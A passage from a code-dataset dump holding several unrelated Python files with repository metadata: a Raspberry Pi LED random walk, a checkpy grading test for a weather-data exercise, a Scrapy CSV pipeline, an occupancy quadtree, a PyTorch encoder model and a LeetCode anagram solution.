"pytest.mark.parametrize", "line_number": 98, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 108, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 116, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 126, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 126, "usage_type": "attribute"}, {"api_name": "pytest.mark", "line_number": 136, "usage_type": "attribute"}]} {"seq_id": "159685758", "text": "import time\nfrom numpy import random\nimport multiprocessing\nimport RPi.GPIO as GPIO\nfrom led8x8 import LED8x8\n\n# define GPIO pins for data, latch, and clock\ndataPins = 17\nlatchPins = 5\nclockPins = 13\n\n# init variables \nname = \"led8x8\"\nxpos = 0\nypos = 0\nboardState = multiprocessing.Array('i', 8)\nboardState[xpos] = 1 << ypos\nled = LED8x8(dataPins, latchPins, clockPins, name, boardState)\n\nled.daemon = True\nled.start()\n\ntry:\n while True:\n boardState[xpos] = 0\n xpos = xpos + random.randint(3) - 1\n ypos = ypos + random.randint(3) - 1\n if xpos < 0:\n xpos = 0\n elif xpos > 7:\n xpos = 7\n \n if ypos < 0:\n ypos = 0\n elif ypos > 7:\n ypos = 7\n boardState[xpos] = 1 << ypos\n time.sleep(0.1)\nexcept KeyboardInterrupt:\n print('exiting random walk')\nfinally:\n led.terminate()", "repo_name": "Jizh10/lab6", "sub_path": "lab6.py", "file_name": "lab6.py", "file_ext": "py", "file_size_in_byte": 817, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "multiprocessing.Array", "line_number": 16, "usage_type": "call"}, {"api_name": "led8x8.LED8x8", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 27, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}]} {"seq_id": "25458724195", "text": "import checkpy.tests as t\nimport checkpy.lib as lib\nimport checkpy.assertlib as assertlib\nimport importlib\nimport helpers\nimport re\n\ndef sandbox():\n\tlib.require(\"DeBiltTempMax.txt\", \"http://www.nikhef.nl/~ivov/Python/KlimaatData/DeBiltTempMax.txt\")\n\tlib.require(\"DeBiltTempMin.txt\", \"http://www.nikhef.nl/~ivov/Python/KlimaatData/DeBiltTempMin.txt\")\n\n\ndef before():\n\ttry:\n\t\timport matplotlib\n\t\tmatplotlib.use(\"Agg\")\n\t\timport matplotlib.pyplot as plt\n\t\tplt.switch_backend(\"Agg\")\n\t\tlib.neutralizeFunction(plt.pause)\n\texcept ImportError:\n\t\tpass\n\ndef after():\n\ttry:\n\t\timport matplotlib.pyplot as plt\n\t\tplt.switch_backend(\"TkAgg\")\n\t\timportlib.reload(plt)\n\texcept ImportError:\n\t\tpass\n\n# Thanks to Vera Schild!\n\n@t.test(10)\ndef correctHighestTemp(test):\n\tdef testMethod():\n\t\tcorrectAnswer = \"36.8\"\n\t\tif helpers.isHardcodedIn(correctAnswer, test.fileName):\n\t\t\ttest.success = lambda info : \"watch out: {} appears to be hardcoded!\".format(correctAnswer)\n\n\t\toutput = lib.outputOf(\n\t\t\ttest.fileName,\n\t\t\toverwriteAttributes = [(\"__name__\", \"__main__\")]\n\t\t)\n\t\treturn assertlib.contains(output, correctAnswer)\n\n\ttest.test = testMethod\n\ttest.description = lambda : \"prints the highest temperature\"\n\n@t.passed(correctHighestTemp)\n@t.test(11)\ndef correctDateHighestTemp(test):\n\tdef testMethod():\n\t\tif helpers.isHardcodedIn(1947, test.fileName):\n\t\t\ttest.success = lambda info : \"watch out: 1947 appears to be hardcoded!\"\n\n\t\toutput = lib.outputOf(\n\t\t\ttest.fileName,\n\t\t\toverwriteAttributes = [(\"__name__\", \"__main__\")]\n\t\t)\n\t\tline = helpers.findLineWith(output, \"36.8\")\n\n\t\tcorrectDay = assertlib.contains(line, '27')\n\t\tcorrectMonth = any([assertlib.contains(line.lower(), month) for month in [\"6\", \"juni\", \"june\", \"jun\"]])\n\t\tcorrectYear = assertlib.contains(line, '1947')\n\t\treturn correctDay and correctMonth and correctYear\n\n\ttest.test = testMethod\n\ttest.description = lambda : \"prints the date of the highest temperature\"\n\n@t.test(20)\ndef correctLowestTemp(test):\n\tdef testMethod():\n\t\tcorrectAnswer = \"-24.8\"\n\t\tif helpers.isHardcodedIn(correctAnswer, test.fileName):\n\t\t\ttest.success = lambda info : \"watch out: {} appears to be hardcoded!\".format(correctAnswer)\n\n\t\toutput = lib.outputOf(\n\t\t\ttest.fileName,\n\t\t\toverwriteAttributes = [(\"__name__\", \"__main__\")]\n\t\t)\n\t\treturn assertlib.contains(output, correctAnswer)\n\n\ttest.test = testMethod\n\ttest.description = lambda : \"prints the lowest temperature\"\n\n@t.passed(correctLowestTemp)\n@t.test(21)\ndef correctDateLowestTemp(test):\n\tdef testMethod():\n\t\tif helpers.isHardcodedIn(1942, test.fileName):\n\t\t\ttest.success = lambda info : \"watch out: 1942 appears to be hardcoded!\"\n\n\t\toutput = lib.outputOf(\n\t\t\ttest.fileName,\n\t\t\toverwriteAttributes = [(\"__name__\", \"__main__\")]\n\t\t)\n\t\tline = helpers.findLineWith(output, \"-24.8\")\n\n\t\tcorrectDay = assertlib.contains(line, '27')\n\t\tcorrectMonth = any([assertlib.contains(line.lower(), month) for month in [\"1\", \"januari\", \"january\", \"jan\"]])\n\t\tcorrectYear = assertlib.contains(line, '1942')\n\t\treturn correctDay and correctMonth and correctYear\n\n\ttest.test = testMethod\n\ttest.description = lambda : \"prints the date of the lowest temperature\"\n\n@t.test(30)\ndef correctLongestFreezing(test):\n\tdef testMethod():\n\t\tcorrectAnswer = \"21\"\n\t\tif helpers.isHardcodedIn(correctAnswer, test.fileName):\n\t\t\ttest.success = lambda info : \"watch out: {} appears to be hardcoded!\".format(correctAnswer)\n\n\t\toutput = lib.outputOf(\n\t\t\ttest.fileName,\n\t\t\toverwriteAttributes = [(\"__name__\", \"__main__\")]\n\t\t)\n\t\treturn assertlib.contains(output, correctAnswer)\n\n\ttest.test = testMethod\n\ttest.description = lambda : \"print de langste periode dat het aaneengesloten heeft gevroren\"\n\n@t.passed(correctLongestFreezing)\n@t.test(31)\ndef correctDateLongestFreezingp(test):\n\tdef testMethod():\n\t\tif helpers.isHardcodedIn(1947, test.fileName):\n\t\t\ttest.success = lambda info : \"watch out: 1947 appears to be hardcoded!\"\n\n\t\toutput = lib.outputOf(\n\t\t\ttest.fileName,\n\t\t\toverwriteAttributes = [(\"__name__\", \"__main__\")]\n\t\t)\n\t\tline = helpers.findLineWith(output, \"21\")\n\n\t\tcorrectDay = assertlib.contains(line, '24')\n\t\tcorrectMonth = any([assertlib.contains(line.lower(), month) for month in [\"2\", \"februari\", \"february\", \"feb\"]])\n\t\tcorrectYear = assertlib.contains(line, '1947')\n\t\treturn correctDay and correctMonth and correctYear\n\n\ttest.test = testMethod\n\ttest.description = lambda : \"prints the last day of the longest freezing period\"\n\n@t.test(40)\ndef correctFirstHeatWave(test):\n\tdef testMethod():\n\t\tcorrectAnswer = \"1911\"\n\t\tif helpers.isHardcodedIn(correctAnswer, test.fileName):\n\t\t\ttest.success = lambda info : \"watch out: {} appears to be hardcoded!\".format(correctAnswer)\n\n\t\toutput = lib.outputOf(\n\t\t\ttest.fileName,\n\t\t\toverwriteAttributes = [(\"__name__\", \"__main__\")]\n\t\t)\n\t\treturn assertlib.contains(output, correctAnswer)\n\n\ttest.test = testMethod\n\ttest.description = lambda : \"prints the first year that had a heatwave\"\n\n@t.test(50)\ndef showsGraph(test):\n\ttest.test = lambda : assertlib.fileContainsFunctionCalls(_fileName, \"savefig\") or assertlib.fileContainsFunctionCalls(_fileName, \"show\")\n\ttest.description = lambda : \"either saves a plot to image, or shows it\"\n", "repo_name": "simonpauw/sp1", "sub_path": "tests/weather/temperatureTest.py", "file_name": "temperatureTest.py", "file_ext": "py", "file_size_in_byte": 5095, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "checkpy.lib.require", "line_number": 9, "usage_type": "call"}, {"api_name": "checkpy.lib", "line_number": 9, "usage_type": "name"}, {"api_name": "checkpy.lib.require", "line_number": 10, "usage_type": "call"}, {"api_name": "checkpy.lib", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.use", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.switch_backend", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "checkpy.lib.neutralizeFunction", "line_number": 19, "usage_type": "call"}, {"api_name": "checkpy.lib", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 19, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.switch_backend", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "importlib.reload", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "argument"}, {"api_name": "helpers.isHardcodedIn", "line_number": 37, "usage_type": "call"}, {"api_name": "checkpy.lib.outputOf", "line_number": 40, "usage_type": "call"}, {"api_name": "checkpy.lib", "line_number": 40, "usage_type": "name"}, {"api_name": "checkpy.assertlib.contains", "line_number": 44, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 44, "usage_type": "name"}, {"api_name": "checkpy.tests.test", "line_number": 33, "usage_type": "call"}, {"api_name": "checkpy.tests", "line_number": 33, "usage_type": "name"}, {"api_name": "helpers.isHardcodedIn", "line_number": 53, "usage_type": "call"}, {"api_name": "checkpy.lib.outputOf", "line_number": 56, "usage_type": "call"}, {"api_name": "checkpy.lib", "line_number": 56, "usage_type": "name"}, {"api_name": "helpers.findLineWith", "line_number": 60, "usage_type": "call"}, {"api_name": "checkpy.assertlib.contains", "line_number": 62, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 62, "usage_type": "name"}, {"api_name": "checkpy.assertlib.contains", "line_number": 63, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 63, "usage_type": "name"}, {"api_name": "checkpy.assertlib.contains", "line_number": 64, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 64, "usage_type": "name"}, {"api_name": "checkpy.tests.passed", "line_number": 49, "usage_type": "call"}, {"api_name": "checkpy.tests", "line_number": 49, "usage_type": "name"}, {"api_name": "checkpy.tests.test", "line_number": 50, "usage_type": "call"}, {"api_name": "checkpy.tests", "line_number": 50, "usage_type": "name"}, {"api_name": "helpers.isHardcodedIn", "line_number": 74, "usage_type": "call"}, {"api_name": "checkpy.lib.outputOf", "line_number": 77, "usage_type": "call"}, {"api_name": "checkpy.lib", "line_number": 77, "usage_type": "name"}, {"api_name": "checkpy.assertlib.contains", "line_number": 81, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 81, "usage_type": "name"}, {"api_name": "checkpy.tests.test", "line_number": 70, "usage_type": "call"}, {"api_name": "checkpy.tests", "line_number": 70, "usage_type": "name"}, {"api_name": "helpers.isHardcodedIn", "line_number": 90, "usage_type": "call"}, {"api_name": "checkpy.lib.outputOf", "line_number": 93, "usage_type": "call"}, {"api_name": "checkpy.lib", "line_number": 93, "usage_type": "name"}, {"api_name": "helpers.findLineWith", "line_number": 97, "usage_type": "call"}, {"api_name": "checkpy.assertlib.contains", "line_number": 99, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 99, "usage_type": "name"}, {"api_name": "checkpy.assertlib.contains", "line_number": 100, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 100, "usage_type": "name"}, {"api_name": "checkpy.assertlib.contains", "line_number": 101, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 101, "usage_type": "name"}, {"api_name": "checkpy.tests.passed", "line_number": 86, "usage_type": "call"}, {"api_name": "checkpy.tests", "line_number": 86, "usage_type": "name"}, {"api_name": "checkpy.tests.test", "line_number": 87, "usage_type": "call"}, {"api_name": "checkpy.tests", "line_number": 87, "usage_type": "name"}, {"api_name": "helpers.isHardcodedIn", "line_number": 111, "usage_type": "call"}, {"api_name": "checkpy.lib.outputOf", "line_number": 114, "usage_type": "call"}, {"api_name": "checkpy.lib", "line_number": 114, "usage_type": "name"}, {"api_name": "checkpy.assertlib.contains", "line_number": 118, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 118, "usage_type": "name"}, {"api_name": "checkpy.tests.test", "line_number": 107, "usage_type": "call"}, {"api_name": "checkpy.tests", "line_number": 107, "usage_type": "name"}, {"api_name": "helpers.isHardcodedIn", "line_number": 127, "usage_type": "call"}, {"api_name": "checkpy.lib.outputOf", "line_number": 130, "usage_type": "call"}, {"api_name": "checkpy.lib", "line_number": 130, "usage_type": "name"}, {"api_name": "helpers.findLineWith", "line_number": 134, "usage_type": "call"}, {"api_name": "checkpy.assertlib.contains", "line_number": 136, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 136, "usage_type": "name"}, {"api_name": "checkpy.assertlib.contains", "line_number": 137, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 137, "usage_type": "name"}, {"api_name": "checkpy.assertlib.contains", "line_number": 138, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 138, "usage_type": "name"}, {"api_name": "checkpy.tests.passed", "line_number": 123, "usage_type": "call"}, {"api_name": "checkpy.tests", "line_number": 123, "usage_type": "name"}, {"api_name": "checkpy.tests.test", "line_number": 124, "usage_type": "call"}, {"api_name": "checkpy.tests", "line_number": 124, "usage_type": "name"}, {"api_name": "helpers.isHardcodedIn", "line_number": 148, "usage_type": "call"}, {"api_name": "checkpy.lib.outputOf", "line_number": 151, "usage_type": "call"}, {"api_name": "checkpy.lib", "line_number": 151, "usage_type": "name"}, {"api_name": "checkpy.assertlib.contains", "line_number": 155, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 155, "usage_type": "name"}, {"api_name": "checkpy.tests.test", "line_number": 144, "usage_type": "call"}, {"api_name": "checkpy.tests", "line_number": 144, "usage_type": "name"}, {"api_name": "checkpy.assertlib.fileContainsFunctionCalls", "line_number": 162, "usage_type": "call"}, {"api_name": "checkpy.assertlib", "line_number": 162, "usage_type": "name"}, {"api_name": "checkpy.tests.test", "line_number": 160, "usage_type": "call"}, {"api_name": "checkpy.tests", "line_number": 160, "usage_type": "name"}]} {"seq_id": "24010070487", "text": "import csv\r\nfrom datetime import datetime\r\n\r\nclass CsvPipline(object):\r\n def process_item(self, item, spider):\r\n columns = item['columns']\r\n if not columns:\r\n return item\r\n\r\n settings = spider.settings\r\n d = datetime.now().strftime(\"%Y%m%d%H\") # %Y%m%d%H%M%S\r\n csvpath = settings['APP_PATH'] + '/data/ret'+ d +'.csv'\r\n data = [\r\n columns['username'], # 用户名\r\n columns['autohome_id'],\r\n columns['koubei_id'],\r\n columns['product_name'],\r\n columns['score_wg'], # 外观评分\r\n columns['score_ssd'],\r\n columns['score_xjb'],\r\n columns['prov_name'],\r\n columns['city_name'],\r\n columns['buy_date'],\r\n columns['buy_price'],\r\n columns['car_oil'],\r\n columns['car_merit'],\r\n columns['car_defect']\r\n ]\r\n with open(csvpath, 'a+', newline='') as csvfile:\r\n # pwriter.writerow(['那就这样吧', '哈哈'])\r\n pwriter = csv.writer(csvfile)\r\n pwriter.writerow(data)\r\n return item\r\n", "repo_name": "shixue/autohomespider", "sub_path": "praise/praise/csvpipline.py", "file_name": "csvpipline.py", "file_ext": "py", "file_size_in_byte": 1138, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.now", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 31, "usage_type": "call"}]} {"seq_id": "10284036137", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n#\n# File - otree.py:\n#\n# Implements an occupancy storing quadtree. Provides methods for adding \"occupied\" regions\n# as either points or circles. The default maximum depth of 7 should be sufficient for most\n# uses, if constructed with a larger depth, greater area resolution can be traded for a larger\n# memory footprint and longer insertion/lookup times.\n#\n# It is worth noting, however, that it is the area insertion time that increases more\n# rapidly. If only few insertions are required and many occupancy tests, there is little\n# reason to avoid higher depths.\n#\n# License:\n#\n# This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.\n# If a copy of the MPL was not distributed with this file, You can obtain one\n# at http://mozilla.org/MPL/2.0/.\n#\n#\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.linalg\n\nclass OccupiedQuadtree2D:\n __id_count = 0\n\n def __init__(self, p_ll, p_ur, depth=7, propogate=False, debug=False):\n self.__id = self.__class__.__id_count\n self.__class__.__id_count = self.__class__.__id_count + 1\n self.__p_ll = p_ll\n self.__p_ur = p_ur\n self.__default_depth = depth\n self.__width = p_ur[0] - p_ll[0]\n self.__height = p_ur[1] - p_ll[1]\n self.__p_center = (p_ur + p_ll) / 2.0\n self.__occupied = propogate\n self.__children = [None, None, None, None]\n self.__bounds = np.array([self.__p_ll, self.__p_ur])\n self.__is_leaf = True\n self.__children_full = False\n self.__debug = debug\n\n @property\n def id(self):\n return self.__id\n\n @property\n def bounds(self):\n return self.__bounds\n\n @property\n def center(self):\n return self.__p_center\n\n @property\n def width(self):\n return self.__width\n\n @property\n def height(self):\n return self.__height\n\n @property\n def full(self):\n return self.__children_full or (self.is_leaf and self.occupied)\n\n @property\n def is_leaf(self):\n return self.__is_leaf\n\n @property\n def occupied(self):\n return self.__occupied\n\n @occupied.setter\n def occupied(self, value):\n self.__occupied = value\n return value\n\n def plot(self, fig = None, ax = None, ec_o = 'k', fc_o = 'r', ec_f = 'k', fc_f = 'white', alpha = 0.1):\n if fig is None:\n fig, ax = plt.subplots()\n\n if self.full or self.is_leaf:\n ec, fc = (ec_o, fc_o) if self.occupied else (ec_f, fc_f)\n rect = plt.Rectangle(self.bounds[0], self.width, self.height, fc=fc, ec=ec, alpha=alpha)\n ax.add_artist(rect)\n else:\n for child in self.__children:\n if not child is None:\n child.plot(fig, ax, ec_o, fc_o, ec_f, fc_f, alpha)\n return fig, ax\n\n def testPoint(self, p):\n return self.__test_point(p)\n\n def addPoint(self, p, depth=None):\n return self.__generic_add(self.__pointInBounds(p), depth)\n\n def addCircle(self, p, r, depth=None):\n def circleIntersectsBounds(bounds):\n p_ll, p_ur = bounds\n x_n = np.clip(p[0], p_ll[0], p_ur[0])\n y_n = np.clip(p[1], p_ll[1], p_ur[1])\n p_n = point(x_n, y_n)\n dist = np.linalg.norm(p_n - p)\n return dist <= r\n\n return self.__generic_add(circleIntersectsBounds, depth)\n\n def __test_point(self, p):\n if not ( (self.__p_ll[0] <= p[0] <= self.__p_ur[0]) and\n (self.__p_ll[1] <= p[1] <= self.__p_ur[1]) ): return False\n if self.__children_full: return True\n if self.__is_leaf: return self.__occupied\n return any(child.__test_point(p) for child in self.__children)\n\n def __generic_test(self, func):\n if not func(self.bounds): return False\n if self.__children_full: return True\n if self.__is_leaf: return self.__occupied\n return any(child.__generic_test(func) for child in self.__children)\n\n def __generic_add(self, func, depth=None):\n depth = self.__default_depth if depth is None else depth\n bounds = self.bounds\n propogate = self.occupied\n if (not self.__children_full) and func(bounds):\n self.occupied = True\n\n if depth > 0:\n child_width = self.width / 2.0\n child_height = self.height / 2.0\n\n # Add Nodes\n if self.is_leaf:\n # Process Subtree LL\n p_ll = bounds[0]\n p_ur = point(bounds[0][0]+child_width, bounds[0][1]+child_height)\n self.__children[0] = self.__child(p_ll, p_ur)\n\n # Process Subtree UL\n p_ll = point(bounds[0][0], bounds[0][1]+child_height)\n p_ur = point(bounds[0][0]+child_width, bounds[1][1])\n self.__children[1] = self.__child(p_ll, p_ur)\n\n # Process Subtree LR\n p_ll = point(bounds[0][0]+child_width, bounds[0][1])\n p_ur = point(bounds[1][0], bounds[0][1]+child_height)\n self.__children[2] = self.__child(p_ll, p_ur)\n\n # Process Subtree UR\n p_ll = point(bounds[0][0]+child_width, bounds[0][1]+child_height)\n p_ur = bounds[1]\n self.__children[3] = self.__child(p_ll, p_ur)\n\n for child in self.__children:\n child.__generic_add(func, depth-1)\n\n if all(child.full for child in self.__children):\n self.__children_full = True\n for idx in range(4):\n self.__children[idx] = None\n else:\n self.__children_full = False\n\n self.__is_leaf = all(child is None for child in self.__children)\n\n\n def __child(self, p_ll, p_ur):\n return self.__class__(p_ll, p_ur, depth=self.__default_depth, debug=self.__debug)\n\n def __pointInBounds(self, p):\n def func(bounds):\n p_ll, p_ur = bounds\n return (p_ll[0] <= p[0] <= p_ur[0]) and (p_ll[1] <= p[1] <= p_ur[1])\n return func\n", "repo_name": "martinjaymckee/Epode", "sub_path": "Library/otree.py", "file_name": "otree.py", "file_ext": "py", "file_size_in_byte": 6264, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "numpy.clip", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 110, "usage_type": "attribute"}]} {"seq_id": "19222516022", "text": "import torch\nimport torch.nn as nn\nimport pickle\nfrom models.AutoEncoder import Autoencoder\nfrom models.CausalConv1d import CausalConv1d\n\n\nclass EncoderConv(nn.Module):\n def __init__(self, config):\n super(EncoderConv, self).__init__()\n self.config = config\n self.encoder = self.load_encoder(config)\n self.seq_conv_1 = nn.Sequential(\n CausalConv1d(in_channels=4 * config['hidden_channels'],\n out_channels=8 * config['hidden_channels'],\n kernel_size=2,\n bias=False),\n nn.ReLU(),\n CausalConv1d(in_channels=8 * config['hidden_channels'],\n out_channels=8 * config['hidden_channels'],\n kernel_size=4,\n bias=False),\n nn.ReLU(),\n CausalConv1d(in_channels=8 * config['hidden_channels'],\n out_channels=1,\n kernel_size=8,\n bias=False),\n nn.ReLU(),\n )\n self.seq_conv_2 = nn.Sequential(\n CausalConv1d(in_channels=4 * config['hidden_channels'],\n out_channels=8 * config['hidden_channels'],\n kernel_size=2,\n bias=False),\n nn.ReLU(),\n CausalConv1d(in_channels=8 * config['hidden_channels'],\n out_channels=8 * config['hidden_channels'],\n kernel_size=4,\n bias=False),\n nn.ReLU(),\n CausalConv1d(in_channels=8 * config['hidden_channels'],\n out_channels=1,\n kernel_size=8,\n bias=False),\n nn.ReLU(),\n )\n self.seq_conv_3 = nn.Sequential(\n CausalConv1d(in_channels=4 * config['hidden_channels'],\n out_channels=8 * config['hidden_channels'],\n kernel_size=2,\n bias=False),\n nn.ReLU(),\n CausalConv1d(in_channels=8 * config['hidden_channels'],\n out_channels=8 * config['hidden_channels'],\n kernel_size=4,\n bias=False),\n nn.ReLU(),\n CausalConv1d(in_channels=8 * config['hidden_channels'],\n out_channels=1,\n kernel_size=8,\n bias=False),\n nn.ReLU(),\n )\n\n self.dropout = nn.Dropout(config['dropout'])\n self.batch_norm = nn.BatchNorm1d(4 * config['hidden_channels'])\n\n @staticmethod\n def load_encoder(config, path: str = \"encoder_params.ckpt\"):\n model = Autoencoder(config)\n model_weights = torch.load(path)[\"state_dict\"]\n # update keys by dropping `nn_model.`\n for key in list(model_weights):\n model_weights[key.replace(\"nn_model.\", \"\")] = model_weights.pop(key)\n model.load_state_dict(model_weights)\n model.eval()\n x_encoder = model.encoder\n return x_encoder\n\n def forward(self, x):\n # Encoder Inception\n with torch.no_grad():\n x, _ = self.encoder(x.float())\n x = self.batch_norm(x)\n x = self.dropout(x)\n x1 = self.seq_conv_1(x)\n x2 = self.seq_conv_2(x)\n x3 = self.seq_conv_3(x)\n x = torch.concat([x1, x2, x3], dim=1)\n return x[:, :, -1]\n\n#\n# with open('gold_config_CasualRnn.pkl', 'rb') as f:\n# xconfig = pickle.load(f)\n# print(xconfig)\n#\n# from pre_process import NyDiffNormalizer\n# import pandas as pd\n# import numpy as np\n#\n# df = pd.read_csv('gold.csv', ) # , parse_dates=True)\n# df['time'] = pd.to_datetime(df['time'])\n# df.set_index('time', inplace=True)\n# # print(df)\n#\n# window = xconfig['number_days'] * xconfig['tick_per_day']\n# input_to_predict = df.iloc[-13 * window:-12 * window].copy()\n# # print(input_to_predict)\n# # nydiff = NyDiffNormalizer(ohlc)\n# proc = NyDiffNormalizer(input_to_predict.iloc[:, :])\n# nn_input_numpy = proc.obs() # add dummy dim for batch\n# nn_input_torch = torch.from_numpy(np.expand_dims(nn_input_numpy, 0))\n#\n# # print(nn_input_torch)\n# nn_input_torch = torch.permute(nn_input_torch, (0, 2, 1))\n# model = EncoderConv(xconfig)\n# print(model(nn_input_torch).shape)\n", "repo_name": "najaweed/DeepGold", "sub_path": "train/EncoderConv.py", "file_name": "EncoderConv.py", "file_ext": "py", "file_size_in_byte": 4358, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 13, "usage_type": "name"}, {"api_name": "models.CausalConv1d.CausalConv1d", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "models.CausalConv1d.CausalConv1d", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "models.CausalConv1d.CausalConv1d", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "models.CausalConv1d.CausalConv1d", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "models.CausalConv1d.CausalConv1d", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "models.CausalConv1d.CausalConv1d", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "models.CausalConv1d.CausalConv1d", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 52, "usage_type": "name"}, {"api_name": "models.CausalConv1d.CausalConv1d", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "name"}, {"api_name": "models.CausalConv1d.CausalConv1d", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 62, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 66, "usage_type": "name"}, {"api_name": "models.AutoEncoder.Autoencoder", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.concat", "line_number": 89, "usage_type": "call"}]} {"seq_id": "27856358854", "text": "\"\"\"\nhttps://leetcode.com/problems/find-all-anagrams-in-a-string/\nTime complexity: O(N ^ 2)\n\"\"\"\n\n\nfrom collections import Counter\n\n\nclass Solution:\n def findAnagrams(self, s: str, p: str) -> List[int]:\n anagram = Counter()\n count_p = Counter(p)\n result = []\n\n left = 0\n for right in range(len(s)):\n anagram[s[right]] += 1\n\n if anagram == count_p:\n result.append(left)\n\n if right >= len(p) - 1:\n anagram[s[left]] -= 1\n # Add an empty counter to remove elements below zero.\n anagram += Counter()\n left += 1\n return result\n", "repo_name": "thecode00/Algorithm-Problem-Solve", "sub_path": "Leetcode/Python/438. Find All Anagrams in a String/solution.py", "file_name": "solution.py", "file_ext": "py", "file_size_in_byte": 672, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": 